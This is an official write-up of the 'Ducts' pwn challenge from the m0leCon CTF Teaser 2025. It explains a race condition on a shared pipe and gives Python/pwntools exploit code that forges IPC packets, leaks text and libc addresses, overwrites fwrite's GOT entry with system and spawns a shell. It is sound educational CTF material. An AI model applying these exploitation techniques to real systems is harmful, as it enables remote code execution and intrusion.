Ducts challenge write-up

Ducts challenge write-up

Introduction

Ducts is my pwn challenge written for the m0leCon CTF Teaser 2025. Here is the official write-up with the intended solution.

Description

The attachment contains three files:

  • chal: the challenge executable (ELF binary).
  • Dockerfile and docker-compose.yml: Docker setup used to create the execution environment. The docker image is built on Ubuntu 22.04.

The ELF is dynamically compiled and is not stripped, but has canary, NX and PIE. The libc.so.6 is required to solve the challenge. Extract it from the container with:

docker compose cp ducts:/usr/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6

The libc can be extracted from the container

The challenge listens to a random port:

matteo@console:~$ nc localhost 4444

Socket successfully created..
Socket successfully binded..
Server listening..
Port is 40351

Challenge output

When a new connection is made, the process forks and a child handles the new connection:

matteo@console:~$ nc localhost 40351
Welcome to the network blackhole! What do you want to destroy?
Example message
Please leave also your name for recording purposes!
Matte23
Data sent to the blackhole, bye!

Text sent by the frontend

Summing up there are [2+N] processes:

  • A main process that awaits for new connections. When a new connection arrives, it starts a new frontend process.
  • N frontend processes (talk function), that receives data from the user and sends it to the backend.
  • A backend process, that receives the data from the frontend and handles it.

IPC structure

The packages exchanged between processes are sent over a pipe. There are two different type of packages: messages and commands.

#define TYPE_MESSAGE 0
#define TYPE_COMMAND 1

#define COMMAND_PRINT 0xdeadbeef
#define COMMAND_SWAP 0xcafebabe
#define COMMAND_FLUSH 0xDEADC0DE


typedef struct message_s *message_t;

typedef struct packet_s {
    int type;
} * packet_t;

struct message_s {
    struct packet_s super;
    int message_len;
    message_t next;
    char author[AUTHOR_LEN];
    char message[];
};

typedef struct command_s {
    struct packet_s super;
    int instruction;
    long id;
    long info;
} *command_t;

Messages exchanged over the pipe

The frontend function

The talk function reads text from a socket and creates a new message that is sent over the pipe to the backend. Note that it's not possible to send commands with this function.

Backend function

The backend function supports handling both messages and commands:

void backend(undefined4 param_1)
{
  int message_type;
  
  first = NULL_MESSAGE;
  last = NULL_MESSAGE;
  devnull = fopen("/dev/null","w");
  do {
    while (message_type = identify_incoming(param_1), message_type == 1) {
      handle_command(param_1);
    }
    if (((message_type < 2) && (message_type != -1)) && (message_type == 0)) {
      handle_message(param_1);
    }
  } while( true );
}

The backend function

Let's see how messages are handled:

void handle_message(undefined4 param_1)
{
  message *pmVar1;
  message *message;
  
  message = (message *)receive_message(param_1);
  printf("Destroying message with len \'%d\' by %s\n",(ulong)(uint)message->message_len,
         message->author);
  fwrite(&message->message,1,(long)message->message_len,devnull);
  pmVar1 = message;
  if (first != (message *)NULL_MESSAGE) {
    *(message **)((long)last + 8) = message;
    pmVar1 = first;
  }
  first = pmVar1;
  last = message;
  return;
}

First, the message is written to /dev/null (that's why the frontend says “network black hole” 🙂) and then is inserted into a linked list.

What about the commands? Three different commands are defined: flush_messages, print_messages and redact_message.

void flush_messages(void)

{
  first = NULL_MESSAGE;
  last = NULL_MESSAGE;
  return;
}

The command flush_messages empties the message list (without bothering to free the unused space 💀).

void print_messages(void)

{
  message *message;
  
  for (message = first; (message != (message *)NULL_MESSAGE && (message != (message *)0x0));
      message = message->next_message) {
    printf("Message %p is \'%s\' by %s. Next is %p\n",message,&message->message,message->author,
           message->next_message);
  }
  return;
}

The command print_messages prints the content of every message in the list.

void redact_message(long param_1)
{
  int N;
  message *source_message;
  message *curr_message;
  
  N = 0;
  source_message = (message *)NULL_MESSAGE;
  curr_message = first;
  while ((curr_message != (message *)NULL_MESSAGE && (source_message == (message *)NULL_MESSAGE))) {
    if ((long)N == *(long *)(param_1 + 8)) {
      source_message = curr_message;
    }
    N = N + 1;
    curr_message = curr_message->next_message;
  }
  if (source_message != (message *)NULL_MESSAGE) {
    source_message->message_len = 1;
    source_message->message = *(char **)(param_1 + 0x10);
  }
  return;
}

The command redact_message takes the Nth message in the list, sets its length to 1, and replaces the first word of the message with a number.

Vulnerabilities

Race condition on the pipe

The whole challenge use only one pipe to exchange data between multiple frontend processes and the backend. What happens when multiple writes are done concurrently on a single pipe? The Linux manual states (https://man7.org/linux/man-pages/man7/pipe.7.html):

POSIX.1 says that writes of less than PIPE_BUF bytes must be
atomic: the output data is written to the pipe as a contiguous
sequence. Writes of more than PIPE_BUF bytes may be nonatomic:
the kernel may interleave the data with data written by other
processes. POSIX.1 requires PIPE_BUF to be at least 512 bytes.

So if multiple messages are written at the same time, with a size bigger than PIPE_BUF, the content may be interlaced. We can exploit this race condition to forge custom messages and commands.

Next message overwrite

When the frontend sends a message to the backend, it sets the next_message attribute to NULL_MESSAGE. This is not an issue per se, but if we manage to forge a message the backend won't overwrite our custom next_message attribute.

print_messages address leak

The function print_messages prints also the pointer of next_message, leaking the address of the NULL_MESSAGE global variable.

Exploit

Let's wrap up and see how to get RCE. We have to:

  • create a helper function that sends custom messages and commands using the race condition on the pipe.
  • leak the text base address using the command print_messages.
  • leak the libc base address by reading the GOT section.
  • overwrite the function fwrite with system in the GOT section.
  • send a message with content /bin/bash to trigger system("/bin/bash") in the handle_message function.
  • run cat flag.txt 🚩

Instead of using the system function, it's also possible to use a one-gadget.

Creating the helper function

To trigger the race condition, we have to send large messages concurrently (30 threads) and see where the backend starts receiving invalid messages. As usual, we can use pwntools' cyclic to identify the right offset.

# Raw intereraction with challenge frontend
def send_message(message, author, sync: threading.Semaphore):
    try:
        r = remote(ENDPOINT, SERVICE_PORT)
        r.sendline(message)
        r.send(author)
        sync.acquire()
        r.send(b"\n")
        r.close()
    except:
        pass

# Helper function to inject a payload using the race condition
def send_stage(payload: dict):
    sync = threading.Semaphore()

    payload_raw = flat(payload)

    #payload = b""
    payload_raw += cyclic(PIPE_BUF-len(payload_raw))
    print("Starting threads...")
    for i in range(30):
        x = threading.Thread(target=send_message, args=(payload_raw,str(i).encode()*63, sync))
        x.start()

    print("Waiting for data to be sent")
    time.sleep(5)
    print("Triggering race condition!")
    sync.release(30)

Python code to trigger the race condition

A semaphore is used to ensure that all the bytes are sent to the server before triggering the write over the pipe. This exploit works even if some messages are corrupted because the backend ignores invalid bytes until it recognizes the byte that signals the beginning of a packet.

Helper function to forge messages and commands

### Helper functions to create C structs defined in challenge code
def build_message(message, author, next):
    return flat({
        0: 0,
        4: len(message),
        8: p64(next),
        16: author,
        16+64: message
    }, word_size=32)


def build_command(instruction, parm1 = 0, parm2 = 0):
    return flat({
        0: 1,
        4: instruction,
        8: p64(parm1),
        16: p64(parm2)
    }, word_size=32)

### Shortcuts for commands
def command_flush():
    return build_command(0xDEADC0DE)

def command_print():
    return build_command(0xdeadbeef)

def command_redact(id, data):
    return build_command(0xcafebabe, id, data)

Python functions to generate the content of messages and commands

Text section leak

def leak_text(r: pwnlib.tubes.tube.tube):
    payload = {
        offset: command_print(),
    }

    send_stage(payload)

    while True:
        null_element_address = int(r.recvline_contains(b"Next is ").strip().split(b"Next is ")[1], 0)
        print(f"Leaked {hex(null_element_address)}")

        test_address = null_element_address-exe.symbols["NUL"]

        # This is an hacky way to identify the correct address from the various leaks.
        if test_address % 4096 == 0:
            exe.address = test_address
            break

    print(f"Text base address = {hex(exe.address)}")
    sleep(1)

Python code to leak the text address

Libc leak

# Payload to perform arbitrary write
def write_payload(addr, data):
    return command_flush() + build_message(b"CUT-HERE-FOR-WRITE", b"CUT-HERE-FOR-WRITE\0", addr-0x80+6*8) + command_redact(1, data)


def leak_libc(r: pwnlib.tubes.tube.tube):
    # Before printing, we are gonna write 0x0 right before the address to be leaked
    # So that mex->next is NULL
    payload = {
        offset: write_payload(exe.got.fwrite-0x8, 0x0) + read_payload(exe.got.fwrite, b"CUT-HERE-FOR-LIBC-LEAK", b"CUT-HERE-FOR-LIBC-LEAK\0"),
    }
    send_stage(payload)

    # Discard useless prints
    r.recvline_contains(b"'CUT-HERE-FOR-LIBC-LEAK' by CUT-HERE-FOR-LIBC-LEAK. Next is ")

    # Read leaked address
    leaked_address = u64(r.recvline().strip().split(b"'' by ")[1].split(b".")[0]+b'\x00\x00')
    print(f"libc.sym.fwrite = {hex(leaked_address)}")
    libc.address = leaked_address - libc.sym.fwrite
    print(f"Libc base address = {hex(libc.address)}")
    sleep(1)

Python code to leak the libc address

GOT rewrite and profit

def rewrite_got(r: pwnlib.tubes.tube.tube):
    payload = {
        offset: write_payload(exe.got.fwrite, libc.sym.system) + build_message(b"/bin/sh", b"Master pwner", 0x0),
    }

    send_stage(payload)

Python code to trigger the GOT overwrite and the RCE

By replacing the fwrite with system, the message handler code

message_t mex = receive_message(pipefd);
printf("Destroying message with len '%d' by %s\n", mex->message_len, mex->author);
fwrite(mex->message, sizeof(char), mex->message_len, devnull);

Original message handler code

becomes

message_t mex = receive_message(pipefd);
printf("Destroying message with len '%d' by %s\n", mex->message_len, mex->author);
system(mex->message);

Message handler code after GOT overwrite

thus the message in the payload triggers the RCE.